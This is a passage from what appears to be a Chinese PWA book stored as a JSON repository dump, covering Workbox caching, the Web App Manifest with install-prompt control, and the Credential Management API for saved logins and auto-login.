Storage，就可以看到此时多了一个名为“image-runtime-cache”的缓存空间，里面缓存的内容全是图片资源。\n\n#### 添加插件\n\nWorkbox 提供了一些功能强大的插件来强化缓存策略，在这里简单演示一下如何使用 workbox.expiration.Plugin 来实现对图片资源的过期管理：\n\n```js\nworkbox.routing.registerRoute(\n  /\\.(jpe?g|png)/,\n  new workbox.strategies.CacheFirst({\n    plugins: [\n      new workbox.expiration.Plugin({\n        // 对图片资源缓存 1 星期\n        maxAgeSeconds: 7 * 24 * 60 * 60,\n        // 匹配该策略的图片最多缓存 10 张\n        maxEntries: 10\n      })\n    ]\n  })\n)\n```\n\n#### 配置 fetchOptions\n\n对于设置了 CORS 的跨域请求的图片资源，可以通过配置 fetchOptions 将策略中 Fetch API 的请求模式设置为 `cors`：\n\n```js\nworkbox.routing.registerRoute(\n  /^https:\\/\\/third-party-site\\.com\\/.*\\.(jpe?g|png)/,\n  new workbox.strategies.CacheFirst({\n    fetchOptions: {\n      mode: 'cors'\n    }\n  })\n)\n```\n\n#### 配置 matchOptions\n\n假设图片资源缓存的存取需要忽略请求 URL 的 search 参数，可以通过设置 matchOptions 来实现：\n\n```js\nworkbox.routing.registerRoute(\n  /\\.(jpe?g|png)/,\n  new workbox.strategies.CacheFirst({\n    matchOptions: {\n      ignoreSearch: true\n    }\n  })\n)\n```\n\n## 基于 Workbox 改造 Service Worker\n\n在前面章节内容当中，我们使用了自行封装的方法编写 Service Worker 文件，实现了示例页面的离线可访问。接下来，我们将基于 Workbox 实现同样功能的 Service Worker。\n\n```js\n// 引入 workbox 核心\nimportScripts('https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-sw.js')\n// 预缓存\nworkbox.precaching.precacheAndRoute([\n  {\n    url: '/index.html',\n    revision: '5ed70e0c237b4c66'\n  },\n  '/index.f8666b443c7a0e84.js',\n  '/index.1236d1250f7ffbdc.css'\n])\n// 动态缓存\nworkbox.routing.registerRoute(\n  /\\/article\\.json$/,\n  new workbox.strategies.StaleWhileRevalidate()\n)\nworkbox.routing.registerRoute(\n  /\\/statistics\\.json$/,\n  new workbox.strategies.NetworkOnly()\n)\n```\n\n此时页面展示的效果与前面的例子是一样的：\n\n![workbox 示例](./img/workbox-demo.png)\n\n## 小结\n\nWorkbox 的功能非常完善，插件机制也能够很好的满足各种业务场景需求，如果自己手动维护一个应用的原生的 Service Worker 文件工作量非常巨大，而且有很多潜在的问题不容易被发现，Workbox 很好的规避了很多 Service Worker 潜在的问题，也大大减小了 Service Worker 的维护成本，所以建议大家在开始考虑使用 Service Worker 的时候优先考虑 Workbox。\n"
  },
  {
    "path": "chapter05.md",
    "content": "# 离线缓存\n\n通过前面章节对 PWA 概念的了解，我们知道，离线缓存是 PWA 应用在体验提升上的一个重要特性，离线缓存特性能够使得 PWA 应用在离线环境下可以正常使用，在弱网环境下能够使站点快速响应。通常 PWA 的离线缓存特性主要是依赖 Web 提供的 Service Worker 机制和 Cache API 来配合实现的，并且可以在 Service Worker 文件中通过开发一系列的策略来管理网络策略。当然，这些工作比较复杂繁琐，尤其是在大型的 Web App 上，也可以借助开源的 Service Worker 工具库 Workbox 来辅助完成这些事情。\n\n在本章将详细的介绍 PWA 离线缓存相关的概念和技术细节，如 Service Worker 缓存管理、缓存相关 API 等，并通过相关技术点的配合来实现离线缓存策略，最终会看到实际 Web App 项目中是如何高效的开发和维护离线缓存功能。\n\n"
  },
  {
    "path": "chapter06/1-manifest-json.md",
    "content": "# Web 应用清单\n\nWeb 应用清单（Web App Manifest）是一份 JSON 格式的文件，它定义了网站应用的相关信息，包括应用名称、图标、启动方式等等。当网站提供了这么一份应用程序清单，并且满足一定的生效条件之后，将具有添加到主屏幕的能力。\n\n添加到主屏幕的网站并不等同于“添加到桌面快捷方式”。如下图所示，当网站添加到主屏幕之后，它将具有如同 Native App 一样独立的图标和名称；点击图标打开网站，资源加载的过程并不会像普通网页那样出现白屏，取而代之的是一个展示应用图标和名称的启动页面，资源加载结束时加载页消失；当网页最终展现时，地址栏、工具栏等浏览器元素将不会展现出来，网页内容占满屏幕，看起来与 Native App 一样。\n\n![打开 PWA 全流程](./img/add-to-homescreen-and-open.jpg)\n\n添加到主屏幕的好处有很多，主要在用户黏性和用户体验上，如下。\n\n- 首先是减少了网站入口深度，用户可以直接从主屏幕直达站点；\n- 其次是能够让网站具有更加接近原生体验的特性，具有启动页面，脱离浏览器 UI；\n- 最后，添加到主屏幕的网站如同安装原生应用那样，被纳入应用抽屉中，并且可以通过系统设置直接对站点进行设置。\n\n接下来看看如何使用 Web 应用程序清单。\n\n## 添加 manifest.json\n\n首先我们准备一份包含常用配置的 manifest.json 文件，如下。\n\n```json\n{\n  \"name\": \"Progressive Web App\",\n  \"short_name\": \"PWA\",\n  \"start_url\": \"/?from=homescreen\",\n  \"icons\": [\n    {\n      \"src\": \"/static/img/icons/android-chrome-192x192.png\",\n      \"sizes\": \"192x192\",\n      \"type\": \"image/png\"\n    }, {\n      \"src\": \"/static/img/icons/android-chrome-512x512.png\",\n      \"sizes\": \"512x512\",\n      \"type\": \"image/png\"\n    }\n  ],\n  \"display\": \"standalone\",\n  \"background_color\": \"#ffffff\",\n  \"theme_color\": \"#1976d2\"\n}\n```\n\n然后在站点 HTML 页面的 `<head>` 中通过 `link` 标签引入该文件。\n\n```html\n<link rel=\"manifest\" href=\"https://path/to/manifest.json\">\n```\n\n上面两个步骤就完成了 Web 应用清单文件的编写。\n\n## 添加到主屏幕\n\n目前存在两种方式将站点添加到主屏幕。首先第一种就是用户自主添加至桌面，当网站的 Web 应用清单生效时，部分浏览器菜单栏会多出“添加到屏幕”的选项，用户可以主动将网站添加到桌面。但是大部分用户都不会这么去做，而且目前仅有 Chrome、Firefox 等少量浏览器会提供这样的选项，因此接下来重点介绍第二种添加到主屏幕的方式：应用安装提示。\n\n对于一些用户经常浏览的 PWA 站点，浏览器会在相应页面打开的时候，以适当的频次弹出应用安装提示，询问用户是否要将当前站点添加到主屏幕，如下图所示。用户点击按钮接受，将利用 manifest.json 文件中定义的名称、图标和启动地址等信息在主屏幕生成 PWA 应用入口。\n\n![应用安装提示横幅](./img/add-to-homescreen-banner.jpg)\n\n如果期望浏览器展现应用安装提示，需要满足一定的规则：\n\n- 需要 manifest.json 文件，并且包含以下配置\n  - name 或 short_name 定义应用名称，优先采用 short_name\n  - start_url 指定启动 URL\n  - icons 并且包含 144×144 的 PNG 格式的方形图标声明\n  - display 指定显示模式，并且必须取值 `standalone` 或 `fullscreen`\n- 站点必须注册 Service Worker\n  - Chrome 要求 Service Worker 且必须监听 `fetch` 事件\n- 站点通过 HTTPS 访问（调试模式下允许 http://127.0.0.1 或 http://localhost 访问）\n- 站点在同一浏览器中至少访问过两次，并且两次访问间隔至少为 5 分钟\n\n安装提示展现的规则是浏览器内置的，开发者无法主动去触发它，否则每个站点都可能会不加节制地触发展现安装提示，导致功能滥用，严重破坏用户体验。因此设定了两次以上访问，并且两次访问间隔在 5 分钟以上的限制，既确保了站点是用户经常浏览的站点，也同时能保证在用户频繁切换页面的情况下不会弹出安装提示打断浏览体验。\n\n对于不同浏览器而言，安装提示的样式和展现逻辑可能存在区别，不过都是大同小异，开发者只要满足上述提到的各项条件即可。\n\n## 设置启动页面\n\n从主屏幕打开的网站应用时，会首先展示启动页面，同时应用后台进行加载资源，渲染首屏等准备工作，避免了页面在这个过程中显示白屏，给用户一种从打开到展现的连贯性体验。如下图所示，启动页面一般由应用图标、应用名称和背景色构成：\n\n![启动页面](./img/start-page.jpg)\n\n\n\n启动页面通过 manifest.json 文件的以下配置生成：\n\n- name 或 short_name 定义应用名称，优先采用 name\n- icons 应用图标\n- display 显示模式，必须取值 `standalone` 或 `fullscreen`\n- background_color 背景颜色，支持 RGB 颜色定义\n\n由于启动页面是资源加载过程中显示的临时页面，其展示过程会比较短，建议选择首页主色调作为背景色，这样采用相同的颜色，就可以实现从启动页面到首页的平稳过渡。\n\n## 配置项详解\n\n前面主要介绍了 Web 应用清单能够给 PWA 带来什么样的新功能和新体验，我们在前面的内容里只是简单介绍了这些新功能所依赖 Web 应用清单的最小化配置，并未对这些配置项的功能、取值等进行具体展开。在这个小节里，我们将对一些常用的配置项进行详细说明。\n\n### name 和 short_name\n\n`name`，`short_name`，用来配置网站应用的名称。其中 `name` 为应用全称，用于应用安装提示、启动页面的显示；`short_name` 为应用名的简写，用于添加到主屏幕时的应用名展示。应用名称是 Web 应用清单必须的配置项，因此 `name` 和 `short_name` 需要至少配置其中一项。如下图所示，当配置 `name` 为 Progressive Web App，`short_name` 为 PWA，那么在安装提示和启动页面上将展示 Progressive Web App，而添加到桌面的快捷方式将显示 PWA。\n\n![name 和 short_name 配置项应用](./img/combo-add-short-loading.jpg)\n\n### icons\n\n`icons` 用来定制应用图标。`icons` 接收的是一个图标描述对象列表，每个图标的描述对象包含三个属性：\n\n- src：字符串，图标 URL；\n- sizes：字符串，图标尺寸，格式为 `宽x高`，数值单位默认为 `px`。对于 `.ico` 类型的图标支持多种尺寸的情况，可以使用空格作为间隔，比如 `48x48 96x96 128x128`；\n- type：字符串，非必填项，图标的 mime 类型，可以用来让浏览器快速忽略掉不支持的图标类型。\n\n开发者可以传入一系列尺寸大小的图片描述对象，浏览器会自动根据当前分辨率和图标的用途选择合适尺寸的图片，比如主屏幕显示会选择 `144x144` 大小的图标，而启动页面则会选择尺寸更大一些的图标。\n\n### start_url\n\n`start_url` 用来定义添加到桌面后的启动 URL。`start_url` 可以采用绝对路径和相对路径的方式定义，如果采用的是相对路径，其相对的基础路径为当前 manifest.json 文件的 URL。比如 `start_url` 为 `../hello`，而 manifest.json 的路径为 `https://path/to/manifest.json` 那么启动的 URL 为 `https://path/hello`。\n\n在目前的条件下，浏览器尚未提供任何属性值或者环境变量来帮助程序判断当前的网站是直接通过浏览器打开还是通过桌面图标启动的，但我们可以利用 `start_url` 来简单地实现这个功能。通过在 `start_url` 增加 query 参数，比如增加 `from=homescreen` 这样的参数，那么我们就可以在程序里通过获取 URL 上的 query 参数进行判断，进而去控制调整页面的展现逻辑、去发送渠道展现统计等等。\n\n### display\n\n`display` 用来定义从桌面打开的网站的显示模式。目前支持的显示模式有以下几种：\n\n| 显示模式 | 描述 | 降级显示类型 |\n| ------- | --- | ---------- |\n| fullscreen | 全屏模式，页面占满整个屏幕，包括移动设备的状态栏都会被页面覆盖 | standalone |\n| standalone | 独立模式，浏览器相关UI（如导航栏、工具栏等）将会被隐藏，移动设备状态栏不会被覆盖 | minimal-ui |\n| minimal-ui | 显示形式与standalone类似，浏览器相关UI会最小化为一个按钮，不同浏览器在实现上略有不同，支持度较低 | browser |\n| browser | 浏览器模式，直接通过浏览器打开网页的普通展现方式，包含地址栏、工具栏等浏览器元素 | None |\n\n在默认情况下，网站应用将以 browser 模式来显示，展示出地址栏、工具栏等浏览器元素，这不但挤占了宝贵的屏幕可视区域，同时也不利于用户专注于当前的站点服务。有了 `display` 配置项，开发者可以根据当前网站应用的形态选择不同的显示模式，比如 HTML5 游戏，可以选择 fullscreen 模式，完全占满屏幕减小游戏过程误操作的可能；比如具有闭环服务的站点，则可以选择 standalone 模式将用户留在当前的网站中，减少跳出的可能。\n\n![显示模式](./img/display-mode.jpg)\n\n### background_color 和 theme_color\n\n`background_color` 定义网站背景色，在显示启动页面时生效，如下图所示，当 `background_color` 设置为 `#ffffff` 时，启动页面的背景显示为白色。\n\n`theme_color` 定义网站的主题色，`theme_color` 会影响到浏览器 UI 元素的显示，如下图所示，当 `theme_color` 设置为 `#1976d2` 时，启动页面的顶部手机状态栏的颜色显示为蓝色。\n\n![主题颜色和背景颜色](./img/theme-and-background-color.jpg)\n\n当使用浏览器正常访问页面时，可以看到即使定义了 `theme_color`，浏览器的地址栏、工具栏等并没有变成蓝色，这是因为页面主题色是由 HTML 所通过 `meta` 标签所定义的，标签如下所示：\n\n```html\n<meta name=\"theme-color\" content=\"#1976d2\">\n```\n\n这样，即使在浏览器模式下，浏览器 UI 元素也将会变成蓝色的了。\n\n![theme-color meta 配置](./img/theme-color-meta.jpg)\n\nWeb 应用清单所定义的各种颜色属性目前仅支持 RGB 颜色定义，也就是说 `#ffffff`、`#fff`、`rgb(255, 255, 255)` 这类定义都是合法的，也支持直接使用内置的颜色名定义，比如 `red`、`blue`、`yellow` 等等，其余都不合法。\n\n在设置 `background_color` 和 `theme_color` 的时候，应该尽可能地选择页面主题色，这样才会使得页面与浏览器 UI、启动页面等元素过渡自然，彼此融为一体。\n\n## 控制应用安装提示\n\n前面提到开发者无法主动触发安装提示的弹出，但浏览器提供了一些方法来对弹出效果进行微调，比如推迟提示、取消提示等等。\n\n浏览器提供了 `beforeinstallprompt` 事件来对安装提示的弹出行为进行监听和操作，监听该事件的语法如下所示：\n\n```js\nwindow.addEventListener('beforeinstallprompt', function (e) {\n  // 安装提示即将弹出\n})\n```\n\n### 判断用户安装行为\n\n`beforeinstallprompt` 事件回调返回了一个名为 `userChoice` 的 Promise 对象，当用户对安装提示进行操作之后，userChoice 会返回用户的选择结果对象 `choiceResult`，该对象具有 `outcome` 属性，如果用户选择“添加到主屏幕时”，`outcome` 的值为 `accept`，反之为 `dismissed`。\n\n```js\nwindow.addEventListener('beforeinstallprompt', function (e) {\n  e.userChoice.then(function (choiceResult) {\n    if (choiceResult.outcome === 'accept') {\n      // 用户将站点添加至桌面\n    } else {\n      // 用户取消安装\n    }\n  })\n})\n```\n\n### 取消提示\n\n在某些情况下，我们不希望弹出安装提示，`beforeinstallprompt` 的事件回调提供了 `preventDefault()` 方法来进行取消操作。关键代码如下所示：\n\n```js\nwindow.addEventListener('beforeinstallprompt', function (e) {\n  // 阻止添加到主屏对话框弹出\n  e.preventDefault()\n})\n```\n\n### 推迟提示\n\n除了直接取消安装提示之外，我们还可以将弹出事件收集起来，等到特定的时候再做触发，从而达到推迟提示的目的。比如在某些应用场合下，直接弹出安装提示会打断用户操作，我们可以先将默认的提示行为取消掉，并且把这个事件回调用变量存起来，然后在页面上设计一种更为友好的 UI 去提醒用户，当用户主动点击 UI 确认之后，再去重新调用事件的 `prompt` 触发安装提示的展现。\n\n下面的示例展示了推迟提示的一种方案，我们先下载示例代码到本地，在命令行中运行如下命令。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter06 目录\n$ cd chapter06/install-prompt\n\n# 安装 npm 依赖\n$ npm install\n\n# 安装成功后启动 chapter06 示例\n$ npm run server\n```\n\n在看到命令行中输出 `Server start on: http://127.0.0.1:8088`，意味着已经成功启动，这时，打开浏览器，访问 `http://127.0.0.1:8088` 能看到如下图所示的页面。页面上放置了一个按钮，默认为灰色状态，当捕获到安装提示事件之后，取消默认的弹出行为并且把事件存下来，同时页面上把按钮颜色显示出来，点击按钮之后，再弹出安装提示，同时置灰按钮。\n\n![安装提示示例](./img/install-prompt-example.jpg)\n\n在示例 `public/index.html` 中可以查看相关代码，这段代码的关键点在于，首先是调用 `e.preventDefault()` 阻止默认的安装提示展现，其次设置了 `savedPrompt` 变量用来存放安装提示的事件对象，最后在适当的时候调用 `savedPrompt.prompt()` 方法重新触发安装提示的的展现，从而整体实现推迟提示的效果。\n\n```javascript\n// 获取按钮元素\nlet button = document.getElementById('btn')\n// 保存安装提示事件\nlet savedPrompt\nwindow.addEventListener('beforeinstallprompt', function (e) {\n  // 阻止默认提示弹出\n  e.preventDefault()\n  // 把事件存起来\n  savedPrompt = e\n  // 显示按钮\n  button.classList.remove('disabled')\n})\nbutton.addEventListener('click', function () {\n  // 隐藏按钮\n  button.classList.add('disabled')\n  // 触发安装提示展现\n  savedPrompt.prompt()\n  // 用户行为判断\n  savedPrompt.userChoice.then(function (result) {\n    // 用户操作之后清空事件\n    savedPrompt = null\n    if (result.outcome === 'accept') {\n      // 用户将站点添加到桌面\n    } else {\n      // 用户取消操作\n    }\n  })\n})\n```\n\n## 调试 Web 应用清单\n\n调试 Web 应用清单的方式非常简单，Chrome 开发者工具目前已经提供了相关调试功能。\n\n用 Chrome 打开待调试的网页，同时打开开发者工具，切换到 `Application` 面板，然后点击 `Manifest` 标签，如图所示，如果 manifest.json 文件被网页成功引入的话，开发者工具面板将会显示相关属性信息，如果有个别配置项配置错误，对应的属性信息将不会显示出来。\n\n同时可以在开发者工具面板右上角中找到 `Add to homescreen` 的链接，点击之后将会弹出添加到桌面的安装提示。如果配置存在错误的话，将会在控制台面板提示相关错误信息，我们可以根据错误提示对 manifest.json 进行修改，并完善其他条件。\n\n![Chrome Dev Tools 调试 manifest](./img/manifest-dev.jpg)\n\n如果没有找到 `Add to homescreen` 的链接，在 manifest.json 配置正确的情况下，也可以通过点击 Chrome 右上角进行安装（低版本 Chrome 可能需要将 chrome://flags 中的 Desktop PWAs 项设置为 Enabled）。\n\n![Chrome 安装应用](./img/install-app.jpg)\n\n如果想要在手机上查看效果，需要在系统中先查看浏览器是否开启了添加到桌面权限，然后通过 Fidder 或者 Charles 等工具设置代理，在浏览器中打开本地站点，就可以调试网站应用添加效果了。\n\n![手机调试 manifest](./img/manifest-mobile-dev.jpg)\n\n## 浏览器支持度\n\nWeb App Manifest 仍然处于 W3C 的草案阶段，但是 Chrome、手机百度、小米等浏览器已经支持了这项标准。虽然 iOS 11.3/ Safari 11.1 宣布支持了 Web App Manifest ，但是根据实际的测试，目前只有部分属性得到了一定程度的支持。不过值得观察的是，Apple 也在不断改进 iOS 下的 PWA 体验，例如在最新的 iOS 12.2 版本中，在应用切换时，PWA 应用不会被重新启动导致回到首页，极大优化了 iOS 系统的 PWA 体验。\n\n如果希望为 iOS 上 PWA 的启动效果提供更好的兼容性，可以通过使用 Safari 的私有 meta/link 属性来配置桌面图标、状态栏颜色等。\n\n```html\n<!-- 指定桌面 icon -->\n<link rel=\"apple-touch-icon\" href=\"/static/img/apple-touch-icon-152x152.png\">\n<!-- 指定应用名称 -->\n<meta name=\"apple-mobile-web-app-title\" content=\"PWA Lesson\">\n<!-- 是否隐藏 Safari 地址栏等-->\n<meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n<!--修改 iOS 状态栏颜色 -->\n<meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n```\n\n## 桌面 PWA 安装\n\nPC 桌面端已经实现对 PWA 各项技术的支持，部署 Web App Manifest 的网站应用，在 PC 桌面同样可以像原生系统应用一样添加至主屏幕。而对于移动端的各配置项，不需要进行新的升级也依然适用于桌面 PWA 。例如在下图中，`theme_color` 将用于设置应用窗口状态栏的颜色。同时对于符合条件的应用，浏览器也会在合适的时候弹出应用安装提示。\n\n![桌面 PWA](./img/desktop-pwa.jpg)\n\n桌面 PWA 提供了很大的想象空间，对于不需要依赖很多 Device API 的系统来说，使用桌面 PWA 非常合适，例如管理系统等，兼具 BS 架构和 CS 架构的\b优点，而且还大大降低开发成本，在一定程度上可以代替 Electron 等技术产品，\n"
  },
  {
    "path": "chapter06/2-credentials-api.md",
    "content": "# 凭证管理 API\n\n一直以来，登录网站总是一件非常麻烦的事情，尤其是在移动端，如果过早要求用户进行登录，转化率会大大降低。用户输入账号密码并提交给服务器进行校验，服务器校验通过之后将创建 session 保持会话。基于安全角度的考虑，用户的账号密码是不允许通过 JavaScript 写入本地存储之中的。当 session 会话过期时，用户将不得不再次输入账号密码信息进行登录，体验很差。使用浏览器提供的凭证管理 API（Credential Management API）可以在安全与体验之间找到更好的平衡。\n\n在本节中，我们将为 PWA 示例设计登录功能，展示使用凭证管理 API 是如何优化用户登录体验的。在命令行中运行如下命令，下载示例代码到本地。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter06/credentials 目录\n$ cd chapter06/credentials\n\n# 安装 npm 依赖\n$ npm install\n\n# 安装成功后启动 chapter06/credentials 示例\n$ npm run server\n```\n\n在看到命令行中输出 `Server start on: http://127.0.0.1:8088`，意味着已经成功启动，这时，打开浏览器，访问 `http://127.0.0.1:8088` 能看到如下图所示的页面。我们在示例首页添加一个登录按钮，点击按钮会跳转至登录页面，用户在该页面表单进行账户密码输入。\n\n![credential-management-demo](./img/credential-management-demo.png)\n\n在继续优化之前，先通过 “自动填充（autofill）”的功能改进浏览器表单。通过对表单元素增加 `autocomplete`属性，浏览器会根据这一属性进行表单类型识别，并将表单输入内容存储到浏览器中，这些存储的数据无法被 JavaScript 访问到，因此相对安全。比如下面的表单，浏览器会将 autocomplete 标识为 `username` 和 `current-password` 的字段内容提取出来，构造出用户身份凭证信息。有关自动填充的更详细的说明，请参考 [Form control infrastructure](https://html.spec.whatwg.org/multipage/form-control-infrastructure.html)。\n\n在示例文件 `public/login.html` 中可以查看示例中的表单属性设置如下。\n\n```html\n<form id=\"login\" class=\"login-form\" method=\"post\">\n  <div class=\"login-input\">\n    <input id=\"email\"\n      name=\"email\"\n      type=\"email\"\n      placeholder=\"邮箱\"\n      autocomplete=\"username email\"\n      ></input>\n  </div>\n  <div class=\"login-input\">\n    <input\n      id=\"password\"\n      name=\"password\"\n      type=\"password\"\n      autocomplete=\"current-password\"\n      placeholder=\"密码\"></input>\n  </div>\n  <button class=\"submit-button\" type=\"submit\"> 登录 </button>\n  <div class=\"login-third-party\">\n    <p>其他登录方式</p>\n    <button class=\"github-login-button submit-button\" type=\"submit\"> 使用 Github 账号登录  </button>\n  </div>\n</form>\n```\n\n自动填充功能在一定程度上解决了用户重复输入账号密码的问题，但是还存在不少需要改进的地方。\n\n1. 采用第三方账号登录的方式，由于登录流程不涉及表单填充，因此无法触发自动填充功能；\n2. 对于采用 AJAX、Fetch 等方式异步提交的登录表单，无法被自动填充机制捕获并且保存；\n3. 自动填充的行为对网站来说是完全不可见的，网站既不知道身份凭证已被浏览器存储，也不知道表单密码已被浏览器自动填充，无法更精细地控制登录流程；\n4. 自动填充机制对更新密码的支持度较低。\n\n因此，针对用户身份凭证目前所存在的问题，使用凭证管理 API 可以进一步优化表单登录的过程。需要注意的是，目前凭证管理 API 仍处于草案阶段，现有浏览器的支持程度不高，在使用前需要进行 API 检测并做好相应的降级处理。\n\n```js\nif (window.PasswordCredential || window.FederatedCredential) {\n  // 进行凭证管理 API 的相关操作\n}\n```\n\n## 保存用户凭证\n\n优化表单登录的第一步，就是能够保存用户登录凭证。一旦用户登录网站验证通过，可以请求用户允许浏览器保存用户凭证。浏览器提供 `navigator.credentials.store()` 方法对用户身份凭证进行存储。\n\n该方法需要传入一个类别为 `Credential` 的对象作为参数。目前存在两种派生自 `Credential` 的类，分别是密码凭证 `PasswordCredential` 和联合凭证 `FederatedCredential`，开发者需要根据用户的登录类型选择相应的凭证进行存储。如果用户使用账号密码进行登录的话，那么可以使用 `PasswordCredential` 构造并存储身份凭证。\n\n```js\nlet cred = new PasswordCredential({\n  id: 'example@baidu.com',\n  password: 'example_password',\n  name: '路人甲',\n  iconURL: 'https://path/to/icon.png'\n})\nnavigator.credentials.store(cred)\n```\n\n其中 `id` 和 `password` 为必填字段，分别对应用户登录信息的用户名和密码，`name` 和 `iconURL` 是选填字段，用于后续账号选择器的信息展示。\n\n同时浏览器也提供 `navigator.credentials.create()` 方法实现异步实例化凭证，新的声明方法如下所示：\n\n```javascript\n// passwordcredential\nlet pwdCred = await navigator.credentials.create({\n  password: {\n    id: 'example@baidu.com',\n      password: 'example_password',\n      name: '路人甲',\n      iconURL: 'https://path/to/icon.png'\n    }\n})\n```\n\n在本小节示例中查看 `public/script/login.js` 登录逻辑，我们在用户点击登录按钮时阻止表单提交事件，验证用户身份信息正确后，可以保存对应的用户信息。示例中表单已经添加 `autocomplete` 属性，因此可以直接利用表单 HTMLElement 创建 `PasswordCredential` 实例。\n\n```javascript\nlet form = document.querySelector('#login')\nform.addEventListener('submit', function (event) {\n  event.preventDefault()\n  fetch('/auth/password', {\n    method: 'POST',\n    credentials: 'include',\n    body: new FormData(event.target)\n  }).then(function (res) {\n    // 验证用户邮箱密码\n    if (res.status === 200) {\n      return Promise.resolve()\n    } else {\n      return Promise.reject('login error')\n    }\n  }).then(function () {\n    // 判断是否支持 Credential API\n    if (window.PasswordCredential) {\n      // 保存用户凭证\n      var cred = new PasswordCredential(event.target)\n      return navigator.credentials.store(cred)\n    } else {\n      return Promise.resolve()\n    }\n  }).then(function () {\n    // 登录成功跳转至首页\n    window.location.href = '/'\n  }).catch(function (error){\n    // 登录出错展示错误信息\n    showErrorToast()\n  })\n})\n```\n\n本示例中在 `public/assets/mockData/user.json` 中模拟存储了测试账号，运行示例输入测试账号邮箱密码，可以看到浏览器弹出类似下图的对话框。\n\n![询问用户是否需要保存账号密码](./img/credential-wanna-save-password.jpg)\n\n凭证保存的过程是一个异步的过程，在执行 `navigator.credentials.store(cred)` 进行保存时，方法会返回一个 promise 对象，同时在页面上弹出对话框提示用户是否进行密码存储，只有当用户选择“保存”时，promise 对象才会 resolve，点击“x”关闭对话框或者点击“一律不”时，promise 将 reject。\n\n需要注意的是，如果用户选择了“一律不”，那么在后续调用 `navigator.credentials.store(cred)` 时，返回的 promise 对象将直接 resolve 而不会弹出任何对话框。因此在设计凭证存储流程时，一定要记住只在最合适的时候发起凭证存储，\b比如在发起凭证存储前先引导并提示用户，不要惹恼用户，否则用户一旦选择了“一律不”，后面就很难再有机会了，同时，存储流程需要考虑到凭证存储成功和失败之后的应对措施。\n\n## 自动登录\n\n当点击登录按钮时，常见的页面交互是弹出登录表单或者跳转至登录页面，用户继续在表单中进行繁琐的输入操作。而当浏览器存储用户凭证后，使用凭证管理 API，可以有效的缩短用户登录时间，实现只需点击登录按钮就可完成登录。接下来\b看看实现自动登录功能需要的几个步骤。\n\n### 获取用户凭证\n\n浏览器提供 `navigator.credentials.get()` 方法来获取存储的身份凭证，可以通过配置 `password` 和 `federated` 来指定要获取的用户凭证。另一个参数 `mediation` 用于配置账号选择器行为，为了实现自动登录通常设置 `mediation` 值为 `silent`，在用户登录时不会弹出账户选择器，在下文中会详细介绍其用法。\n\n需要注意的是，由于执行 `navigator.credentials.get()` 将可能会弹出账号选择器打断用户操作，因此需要保证只有在真正需要登录的时候再去调用该方法，比如在调用前判断一下当前 session 会话是否过期。\n\n```js\nif (window.PasswordCredential || window.FederatedCredential) {\n  if (!isLogin()) {\n    // 获取用户凭证\n    let cred = await navigator.credentials.get({\n      password: true,\n      mediation: 'silent'\n    })\n  }\n}\n```\n\n### 发送凭证验证用户\n\n获取用户凭证后，首先需要判断是否获取凭证成功。成功后，可以通过 `Credentials.type` 方法判断当前凭证的类型，可能的取值为 `password` 和 `federated`，分别对应密码凭证和联合凭证，开发者可以根据不同类型设计不同的凭证发送逻辑，同时对于联合凭证，则可以进一步通过 `provider` 属性区分不同第三方账号的登录逻辑。\n\n在示例文件 `public/script/index.js` 中可以查看自动登录相关的逻辑，包括获取用户凭证和发送凭证的过程，同时支持 password 和 federated 两种方式，关于使用联合凭证登录在下文会很快提到。\n\n```javascript\nfunction autoLogin () {\n  if (window.PasswordCredential || window.FederatedCredential) {\n    return navigator.credentials.get({\n      password: true,\n      federated: {\n        providers: ['https://github.com']\n      },\n      medition: 'silent'\n    }).then(function (cred) {\n      if (cred) {\n        switch (cred.type) {\n          case 'password':\n            return loginWithPassword(cred)\n          case 'federated':\n            switch (cred.provider) {\n              case 'https://github.com':\n                return loginWithGithubAccount(cred)\n            }\n        }\n      } else {\n        return Promise.reject()\n      }\n    }).then(function (res) {\n      if (res.status === 200) {\n        return Promise.resolve()\n      } else {\n        return Promise.reject('login error')\n      }\n    })\n  } else {\n    return Promise.resolve()\n  }\n}\n```\n\n对于发送凭证，并没有太多要求，一般来说，只要是异步发送即可，比如 `AJAX`、`Fetch API` 都可以，本节示例中以密码凭证和 Fetch API 为例。`PasswordCredentials` 和 `FederatedCredentials` 实例对象都可以访问到生成凭证时所传入的参数，因此可以像正常对象那样读取属性，并构造出对应的身份认证请求参数即可。\n\n```js\nfunction loginWithPassword (cred) {\n  let form = new FormData()\n  form.append('email', cred.id)\n  form.append('password', cred.password)\n  return fetch('/auth/password', {\n    method: 'POST',\n    credentials: 'include',\n    body: form\n  })\n}\n```\n\n在已保存凭证的示例中点击退出，退出登录后重新点击首页的登录按钮，此时浏览器会弹出类似下图的提示，不需要再跳转至登录页输入密码，就登录成功并更新首页登录状态。\n\n![提示用户正在登录](./img/auto-login-tips.jpg)\n\n发送到服务器端校验的凭证有可能会存在认证失败的情况，发生这种情况的原因一般是密码需要更新，因此需要在认证失败时及时展现登录表单，让用户重新填写身份凭证信息，重新校验，并更新存储的身份凭证。\n\n## 第三方账号登录\n\n用户希望使用第三方账号登录的情况越来越普遍，如果网站登录表单支持使用第三方账户登录，可以使用联合凭证的方式，先通过 `FederatedCredential` 对象构造并存储身份凭证。\n\n创建联合登录凭证与密码凭证类似，其中 `id` 和 `provider` 为必填字段，其中 `id` 为标识账户的标志，可以是用户的 email、username 等等能够唯一标识用户的属性值。通常第三方账户登录使用 OAuth2.0 等方式授权，不能直接用 assess_token 等具有时效性的值作为 id，需要做好 id 与 assess_token 的映射关系。`provider` 为第三方账号提供方，需要填入符合 URL 校验规则的账号提供方网址。\n\n```javascript\nlet cred = new FederatedCredential({\n  id: 'example@baidu.com',\n  provider: 'https://www.baidu.com',\n  name: '路人甲',\n  iconURL: 'https://path/to/icon.png'\n})\nnavigator.credentials.store(cred)\n\nlet fedCred = await navigator.credentials.create({\n  federated: {\n    id: 'example@baidu.com',\n    provider: 'https://www.baidu.com',\n    name: '路人甲',\n    iconURL: 'https://path/to/icon.png'\n  }\n})\n```\n\n一旦浏览器存储了网站的第三方登录凭证，用户再次登录网站时，可以直接获取用户凭证进行验证，实现只需要点击“使用 Github 